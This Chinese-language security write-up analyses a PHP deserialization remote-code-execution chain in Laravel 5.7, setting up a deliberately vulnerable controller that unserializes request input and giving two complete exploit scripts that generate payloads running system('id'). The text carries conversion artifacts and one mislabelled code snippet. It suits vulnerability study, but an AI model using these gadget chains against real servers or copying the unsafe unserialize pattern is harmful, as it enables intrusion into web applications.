Laravel 代碼審計php
Laravel 5.7 文檔 : https://learnku.com/docs/laravel/5.7/installation/2242laravel
Composer 下載 : wget https://getcomposer.org/download/1.8.6/composer.phar
獲取 composer.phargit
參照 https://www.jianshu.com/p/438a95046403 安裝 Composer 和 Laravelgithub
composer create-project laravel/laravel laravel57 "5.7.*"
安裝 Laravel 5.7 並生成 laravel57
項目web
進入項目文件夾,使用 php artisan serve
啓動 web 服務bootstrap
在 laravel57/routes/web.php
文件添加路由數組
Route::get("/","\App\Http\Controllers\DemoController@demo");
在 laravel57/app/Http/Controllers/
下添加 DemoController
控制器緩存
namespace App\Http\Controllers; class DemoController { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); return "peri0d"; } } }
app.php
,還包含 cache
目錄,其下存放框架生成的用來提高性能的文件,好比路由和服務緩存文件index.php
,它是進入應用程序的全部請求的入口點。還包含一些資源文件,好比圖片、JS 和 CSS漏洞觸發點位於 Illuminate/Foundation/Testing/PendingCommand.php
中的 run
方法,該文件的功能就是命令執行並獲取輸出,PendingCommand.php
又定義了 __destruct()
方法,思路就是構造 payload 觸發 __destruct()
方法進而調用 run
方法實現 rcesession
根據已有的 exp 來看,PendingCommand
類的屬性以下app
$this->app; // 一個實例化的類 Illuminate\Foundation\Application $this->test; // 一個實例化的類 Illuminate\Auth\GenericUser $this->command; // 要執行的php函數 system $this->parameters; // 要執行的php函數的參數 array('id')
在 unserialize($code)
處下斷點調試,觀察調用棧,發現有幾個加載函數,spl_autoload_call()
、Illuminate\Foundation\AliasLoader->load()
、Composer\Autoload\ClassLoader->loadClass()
、Composer\Autoload\includeFile()
。
在加載完所須要的類後,會進入 PendingCommand
類的 __destruct()
方法。因爲 hasExecuted
默認是 false
,因此會去執行 run()
函數,run()
函數會在第 8 行執行命令,其代碼以下
public function run() { $this->hasExecuted = true; $this->mockConsoleOutput(); try { $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); } catch (NoMatchingExpectationException $e) { if ($e->getMethodName() === 'askQuestion') { $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.'); } throw $e; }
run()
中首先執行了 mockConsoleOutput()
,該函數主要功能就是模擬控制檯輸出,此時又會加載一些所須要的類。代碼以下
protected function mockConsoleOutput() { $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]); foreach ($this->test->expectedQuestions as $i => $question) { $mock->shouldReceive('askQuestion') ->once() ->ordered() ->with(Mockery::on(function ($argument) use ($question) { return $argument->getQuestion() == $question[0]; })) ->andReturnUsing(function () use ($question, $i) { unset($this->test->expectedQuestions[$i]); return $question[1]; }); } $this->app->bind(OutputStyle::class, function () use ($mock) { return $mock; }); }
mockConsoleOutput()
中又調用了 createABufferedOutputMock()
。在 createABufferedOutputMock()
函數中,首先調用 mock()
函數,它的做用主要是進行對象模擬。而後進入循環,要遍歷 $this->test
類的 expectedOutput
屬性,可是在能夠實例化的類中不存在這個屬性。當訪問一個類中不存在的屬性時會觸發 __get()
,經過去觸發 __get()
方法去進一步構造 pop 鏈。
private function createABufferedOutputMock() { $mock = Mockery::mock(BufferedOutput::class.'[doWrite]') ->shouldAllowMockingProtectedMethods() ->shouldIgnoreMissing(); foreach ($this->test->expectedOutput as $i => $output) { $mock->shouldReceive('doWrite') ->once() ->ordered() ->with($output, Mockery::any()) ->andReturnUsing(function () use ($i) { unset($this->test->expectedOutput[$i]); }); } return $mock; }
這裏選擇 Illuminate\Auth\GenericUser
,其 __get()
魔術方法以下
public function __get($key) { return $this->attributes[$key]; }
此時 $this->test
是咱們傳入的 Illuminate\Auth\GenericUser
的實例化對象,則 $this->attributes[$key]
經過反序列化是可控的,所以咱們能夠構造$this->attributes
鍵名爲expectedOutput
的數組。這樣一來$this->test->expectedOutput
就會返回$this->attributes
中鍵名爲expectedOutput
的數組
回到 mockConsoleOutput()
中,又進行了一次 for 循環,調用了 $this->test->expectedQuestions
,循環體與 createABufferedOutputMock()
大體相同,因此能夠構造 $this->attributes
鍵名爲expectedQuestions
的數組繞過
而後就能夠走出 mockConsoleOutput()
方法,進入命令執行的關鍵點 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
,這裏 Kernel::class
是個固定值,爲 Illuminate\Contracts\Console\Kernel
,這裏須要搞清楚 $this->app[Kernel::class]
,能夠獲得以下的函數調用順序
Container.php:1222, Illuminate\Foundation\Application->offsetGet()
// key = Illuminate\Contracts\Console\Kernel public function offsetGet($key) { return $this->make($key); }
Application.php:751, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel public function make($abstract, array $parameters = []) { $abstract = $this->getAlias($abstract); if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) { $this->loadDeferredProvider($abstract); } return parent::make($abstract, $parameters); }
Container.php:609, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel public function make($abstract, array $parameters = []) { return $this->resolve($abstract, $parameters); }
Container.php:652, Illuminate\Foundation\Application->resolve()
// abstract = Illuminate\Contracts\Console\Kernel protected function resolve($abstract, $parameters = []) { $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract)); if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { return $this->instances[$abstract]; } $this->with[] = $parameters; $concrete = $this->getConcrete($abstract); // concrete = Illuminate\Foundation\Application if ($this->isBuildable($concrete, $abstract)) { $object = $this->build($concrete); } else { $object = $this->make($concrete); } foreach ($this->getExtenders($abstract) as $extender) { $object = $extender($object, $this); } if ($this->isShared($abstract) && ! $needsContextualBuild) { $this->instances[$abstract] = $object; } $this->fireResolvingCallbacks($abstract, $object); $this->resolved[$abstract] = true; array_pop($this->with); return $object; }
Container.php:697, Illuminate\Foundation\Application->getConcrete()
// abstract = Illuminate\Contracts\Console\Kernel protected function getConcrete($abstract) { if (! is_null($concrete = $this->getContextualConcrete($abstract))) { return $concrete; } if (isset($this->bindings[$abstract])) { return $this->bindings[$abstract]['concrete']; } return $abstract; }
在getConcrete()
方法中出了問題,致使能夠利用 php 的反射機制實例化任意類。在 getConcrete()
方法中,判斷 $this->bindings[$abstract])
是否存在,若存在則返回 $this->bindings[$abstract]['concrete']
。bindings
是 Container.php
中 Container
類的屬性,所以咱們只須要找到一個繼承自 Container
的類,就能夠經過反序列化控制 $this->bindings
屬性。Illuminate\Foundation\Application
繼承自 Container
類。$abstract
爲Illuminate\Contracts\Console\Kernel
,只需經過反序列化定義 Illuminate\Foundation\Application
的 $bindings
屬性存在鍵名爲 Illuminate\Contracts\Console\Kernel
的二維數組就能進入該分支語句,返回咱們要實例化的類名。在這裏返回的是 Illuminate\Foundation\Application
類。
在實例化 Application類
的時候, 要知足 isBuildable()
才能夠進行 build
protected function isBuildable($concrete, $abstract) { return $concrete === $abstract || $concrete instanceof Closure; }
此時明顯不知足條件,因此接着執行 $object = $this->make($concrete);
,在 make()
函數中成功將 $abstract
從新賦值爲 Illuminate\Foundation\Application
,從而成功繞過 isBuildable()
函數,進入 $this->build
方法,就能看到使用ReflectionClass
反射機制,實例化咱們傳入的類。
在返回一個 Illuminate\Foundation\Application
對象以後,exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
又調用了 call()
方法,因爲 Illuminate\Foundation\Application
沒有 call()
方法,因此會調用父類 Illuminate\Container\Container
的 call()
方法。
public function call($callback, array $parameters = [], $defaultMethod = null) { return BoundMethod::call($this, $callback, $parameters, $defaultMethod); }
跟進 BoundMethod::call()
public static function call($container, $callback, array $parameters = [], $defaultMethod = null) { if (static::isCallableWithAtSign($callback) || $defaultMethod) { return static::callClass($container, $callback, $parameters, $defaultMethod); } return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) { return call_user_func_array( $callback, static::getMethodDependencies($container, $callback, $parameters) ); }); }
在 isCallableWithAtSign()
處判斷回調函數是否爲字符串而且其中含有 @
,而且 $defaultMethod
默認爲 null,很明顯不知足條件,進入 callBoundMethod()
,該函數只是判斷 $callback
是否爲數組。後面的匿名函數直接調用 call_user_func_array()
,而且第一個參數咱們可控,參數值爲 system
,第二個參數由 getMethodDependencies()
方法返回。跟進 getMethodDependencies()
protected static function getMethodDependencies($container, $callback, array $parameters = []) { $dependencies = []; foreach (static::getCallReflector($callback)->getParameters() as $parameter) { static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies); } return array_merge($dependencies, $parameters); }
getCallReflector()
用於反射獲取 $callback
的對象, 而後執行 addDependencyForCallParameter()
爲 $callback
的對象添加一些參數,最後將咱們傳入的 $parameters
數組和 $dependencies
數組合並, $dependencies
數組爲空。最後至關於執行了 call_user_func_array('system',array('id'))
exp
<?php // gadgets.php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } ?>
<?php // chain.php $genericuser = new Illuminate\Auth\GenericUser( array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) ); $application = new Illuminate\Foundation\Application( array( "Illuminate\Contracts\Console\Kernel"=> array( "concrete"=>"Illuminate\Foundation\Application" ) ) ); $exp = new Illuminate\Foundation\Testing\PendingCommand( "system",array('id'), $genericuser, $application ); echo urlencode(serialize($exp)); ?>
調用棧分析 :
Illuminate\Foundation\Testing\PendingCommand->__destruct() $test = Illuminate\Auth\GenericUser attributes = array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) $app = Illuminate\Foundation\Application array( "Illuminate\Contracts\Console\Kernel" => array( array("concrete"=>"Illuminate\Foundation\Application") ) ) $command = "system" $parameters = array("id") Illuminate\Foundation\Testing\PendingCommand->run() Illuminate\Foundation\Testing\PendingCommand->mockConsoleOutput() Illuminate\Foundation\Testing\PendingCommand->createABufferedOutputMock() // 在 foreach 中訪問 expectedOutput 屬性,可是 GenericUser 類沒有這個屬性,故而調用 __get() 方法 Illuminate\Auth\GenericUser->__get() // return attributes["expectedOutput"] // return array("0"=>"1") // 在 foreach 中訪問 expectedQuestions 屬性,可是 GenericUser 類沒有這個屬性,故而調用 __get() 方法 Illuminate\Auth\GenericUser->__get() // return attributes["expectedQuestions"] // return array("0"=>"1") // Application 繼承了 Container 因此這至關於執行父類的 offsetGet() Illuminate\Foundation\Application->offsetGet() // key : Illuminate\Contracts\Console\Kernel Illuminate\Foundation\Application->make() // abstract : Illuminate\Contracts\Console\Kernel Illuminate\Foundation\Application->make() // abstract : Illuminate\Contracts\Console\Kernel Illuminate\Foundation\Application->resolve() // abstract : Illuminate\Contracts\Console\Kernel Illuminate\Foundation\Application->getConcrete() // $this->bindings[$abstract]['concrete'] : Illuminate\Foundation\Application Illuminate\Foundation\Application->call() Illuminate\Container\BoundMethod->call() Illuminate\Container\BoundMethod->getMethodDependencies()
一樣的,在 PendingCommand
類的 mockConsoleOutput()
函數處,去觸發 __get()
方法構造 pop 鏈,這裏選擇 Faker\DefaultGenerator
類,其 __get()
方法以下 :
public function __construct($default = null) { $this->default = $default; }
一樣的方法繞過 mockConsoleOutput()
函數,運行到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
處。只不過此次的關注點在於 resolve()
函數的 $this->instances[$abstract]
處
// abstract = Illuminate\Contracts\Console\Kernel protected function resolve($abstract, $parameters = []) { $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract)); if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { // 在這裏返回一個可控的實例化對象 return $this->instances[$abstract]; } $this->with[] = $parameters; $concrete = $this->getConcrete($abstract); if ($this->isBuildable($concrete, $abstract)) { $object = $this->build($concrete); } else { $object = $this->make($concrete); } foreach ($this->getExtenders($abstract) as $extender) { $object = $extender($object, $this); } if ($this->isShared($abstract) && ! $needsContextualBuild) { $this->instances[$abstract] = $object; } $this->fireResolvingCallbacks($abstract, $object); $this->resolved[$abstract] = true; array_pop($this->with); return $object; }
instances
是 Container.php
中 Container
類的屬性。所以咱們只須要找到一個繼承自 Container
的類,就能夠經過反序列化控制 $this->instances
屬性。Illuminate\Foundation\Application
繼承自 Container
類。$abstract
爲Illuminate\Contracts\Console\Kernel
,只需經過反序列化定義 Illuminate\Foundation\Application
的 $instances
屬性存在鍵名爲 Illuminate\Contracts\Console\Kernel
的數組就能返回咱們要實例化的類名。在這裏返回的是 Illuminate\Foundation\Application
類。
其他的就和第一種相同了,不一樣點在於構造可控實例化對象的方法不一樣
exp :
<?php // gadgets.php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Faker{ class DefaultGenerator{ protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation{ class Application{ protected $instances = []; public function __construct($instance){ $this->instances["Illuminate\Contracts\Console\Kernel"] = $instance; } } } ?>
<?php // chain.php $defaultgenerator = new Faker\DefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system', array('id'), $defaultgenerator, $application); echo urlencode(serialize($pendingcommand)); ?>